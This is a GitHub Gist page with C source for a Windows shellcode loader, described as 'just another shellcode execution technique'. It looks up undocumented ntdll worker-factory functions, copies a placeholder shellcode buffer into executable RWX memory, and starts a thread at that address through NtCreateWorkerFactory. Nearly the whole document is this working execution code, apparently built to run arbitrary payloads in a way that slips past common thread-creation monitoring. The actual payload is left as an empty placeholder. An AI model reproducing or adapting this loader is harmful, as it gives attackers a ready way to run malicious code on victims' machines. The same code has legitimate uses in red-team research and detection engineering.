Last active
July 30, 2024 16:31
-
-
Save RistBS/fd4243d6df142d197920e2b72baa3cdd to your computer and use it in GitHub Desktop.
Just another shellcode execution technique :)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <Windows.h> | |
#include <stdio.h> | |
#define PRINTDEBUG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__) | |
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) | |
#define WORKER_FACTORY_FULL_ACCESS 0xf00ff | |
typedef struct _UNICODE_STRING { | |
USHORT Length; | |
USHORT MaximumLength; | |
PWSTR Buffer; | |
} UNICODE_STRING, * PUNICODE_STRING; | |
typedef struct _OBJECT_ATTRIBUTES | |
{ | |
ULONG Length; | |
HANDLE RootDirectory; | |
PUNICODE_STRING ObjectName; | |
ULONG Attributes; | |
PVOID SecurityDescriptor; | |
PVOID SecurityQualityOfService; | |
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; | |
typedef struct _IO_STATUS_BLOCK | |
{ | |
union | |
{ | |
NTSTATUS Status; | |
PVOID Pointer; | |
}; | |
ULONG_PTR Information; | |
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK; | |
typedef struct _FILE_IO_COMPLETION_INFORMATION | |
{ | |
PVOID KeyContext; | |
PVOID ApcContext; | |
IO_STATUS_BLOCK IoStatusBlock; | |
} FILE_IO_COMPLETION_INFORMATION, * PFILE_IO_COMPLETION_INFORMATION; | |
typedef struct _WORKER_FACTORY_DEFERRED_WORK | |
{ | |
struct _PORT_MESSAGE* AlpcSendMessage; | |
PVOID AlpcSendMessagePort; | |
ULONG AlpcSendMessageFlags; | |
ULONG Flags; | |
} WORKER_FACTORY_DEFERRED_WORK, * PWORKER_FACTORY_DEFERRED_WORK; | |
typedef enum _WORKERFACTORYINFOCLASS | |
{ | |
WorkerFactoryTimeout, // LARGE_INTEGER | |
WorkerFactoryRetryTimeout, // LARGE_INTEGER | |
WorkerFactoryIdleTimeout, // s: LARGE_INTEGER | |
WorkerFactoryBindingCount, // s: ULONG | |
WorkerFactoryThreadMinimum, // s: ULONG | |
WorkerFactoryThreadMaximum, // s: ULONG | |
WorkerFactoryPaused, // ULONG or BOOLEAN | |
WorkerFactoryBasicInformation, // q: WORKER_FACTORY_BASIC_INFORMATION | |
WorkerFactoryAdjustThreadGoal, | |
WorkerFactoryCallbackType, | |
WorkerFactoryStackInformation, // 10 | |
WorkerFactoryThreadBasePriority, // s: ULONG | |
WorkerFactoryTimeoutWaiters, // s: ULONG, since THRESHOLD | |
WorkerFactoryFlags, // s: ULONG | |
WorkerFactoryThreadSoftMaximum, // s: ULONG | |
WorkerFactoryThreadCpuSets, // since REDSTONE5 | |
MaxWorkerFactoryInfoClass | |
} WORKERFACTORYINFOCLASS, * PWORKERFACTORYINFOCLASS; | |
typedef struct _WORKER_FACTORY_BASIC_INFORMATION { | |
LARGE_INTEGER Timeout; | |
LARGE_INTEGER RetryTimeout; | |
LARGE_INTEGER IdleTimeout; | |
BOOLEAN Paused; | |
BOOLEAN TimerSet; | |
BOOLEAN QueuedToExWorker; | |
BOOLEAN MayCreate; | |
BOOLEAN CreateInProgress; | |
BOOLEAN InsertedIntoQueue; | |
BOOLEAN Shutdown; | |
ULONG BindingCount; | |
ULONG ThreadMinimum; | |
ULONG ThreadMaximum; | |
ULONG PendingWorkerCount; | |
ULONG WaitingWorkerCount; | |
ULONG TotalWorkerCount; | |
ULONG ReleaseCount; | |
LONGLONG InfiniteWaitGoal; | |
PVOID StartRoutine; | |
PVOID StartParameter; | |
HANDLE ProcessId; | |
SIZE_T StackReserve; | |
SIZE_T StackCommit; | |
NTSTATUS LastThreadCreationStatus; | |
} WORKER_FACTORY_BASIC_INFORMATION, * PWORKER_FACTORY_BASIC_INFORMATION; | |
typedef NTSTATUS(WINAPI* tNtCreateWorkerFactory)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, HANDLE, HANDLE, PVOID, PVOID, ULONG, SIZE_T, SIZE_T); | |
typedef NTSTATUS(WINAPI* tNtWorkerFactoryWorkerReady)(HANDLE); | |
typedef NTSTATUS(WINAPI* tNtSetInformationWorkerFactory)(HANDLE, WORKERFACTORYINFOCLASS, PVOID, ULONG); | |
typedef NTSTATUS(WINAPI* tNtQueryInformationWorkerFactory)(HANDLE, WORKERFACTORYINFOCLASS, PVOID, ULONG, PULONG); | |
typedef NTSTATUS(WINAPI* tNtWaitForWorkViaWorkerFactory)(HANDLE, FILE_IO_COMPLETION_INFORMATION*, ULONG, PULONG, WORKER_FACTORY_DEFERRED_WORK*); | |
int main() | |
{ | |
HANDLE hWorkerFactory; | |
ULONG ulThreadMinimum = 1; | |
ULONG ulKey = 'cat'; | |
HANDLE hIoCompletion = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, ulKey, 0); | |
HMODULE hNtdll = GetModuleHandleA("ntdll"); | |
tNtCreateWorkerFactory NtCreateWorkerFactory = (tNtCreateWorkerFactory)GetProcAddress(hNtdll, "NtCreateWorkerFactory"); | |
if (!NtCreateWorkerFactory) { | |
return -1; | |
} | |
tNtSetInformationWorkerFactory NtSetInformationWorkerFactory = (tNtSetInformationWorkerFactory)GetProcAddress(hNtdll, "NtSetInformationWorkerFactory"); | |
if (!NtSetInformationWorkerFactory) { | |
return -1; | |
} | |
unsigned char shellcode_buffer[] = "\x00"; // shellcode here | |
LPVOID shellcode_address = VirtualAlloc( NULL, sizeof( shellcode_buffer ), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE ); | |
memcpy( shellcode_address, &shellcode_buffer[ 0 ], sizeof( shellcode_buffer ) ); | |
PRINTDEBUG("[*] Start thread with NtCreateWorkerFactory"); | |
NtCreateWorkerFactory( &hWorkerFactory, // _Out_ PHANDLE WorkerFactoryHandleReturn, | |
WORKER_FACTORY_FULL_ACCESS, // _In_ ACCESS_MASK DesiredAccess, | |
NULL, // _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes | |
hIoCompletion, // _In_ HANDLE CompletionPortHandle, | |
( HANDLE )-1, // _In_ HANDLE WorkerProcessHandle, | |
shellcode_address, // _In_ PVOID StartRoutine, | |
0, // _In_opt_ PVOID StartParameter, | |
1, 0x1000, 0x1000 ); // _In_opt_ ULONG MaxThreadCount, _In_opt_ SIZE_T StackReserve, _In_opt_ SIZE_T StackCommit | |
NtSetInformationWorkerFactory( hWorkerFactory, WorkerFactoryThreadMinimum, &ulThreadMinimum, sizeof( ULONG ) ); | |
while ( TRUE ) {} | |
return 0; | |
} | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment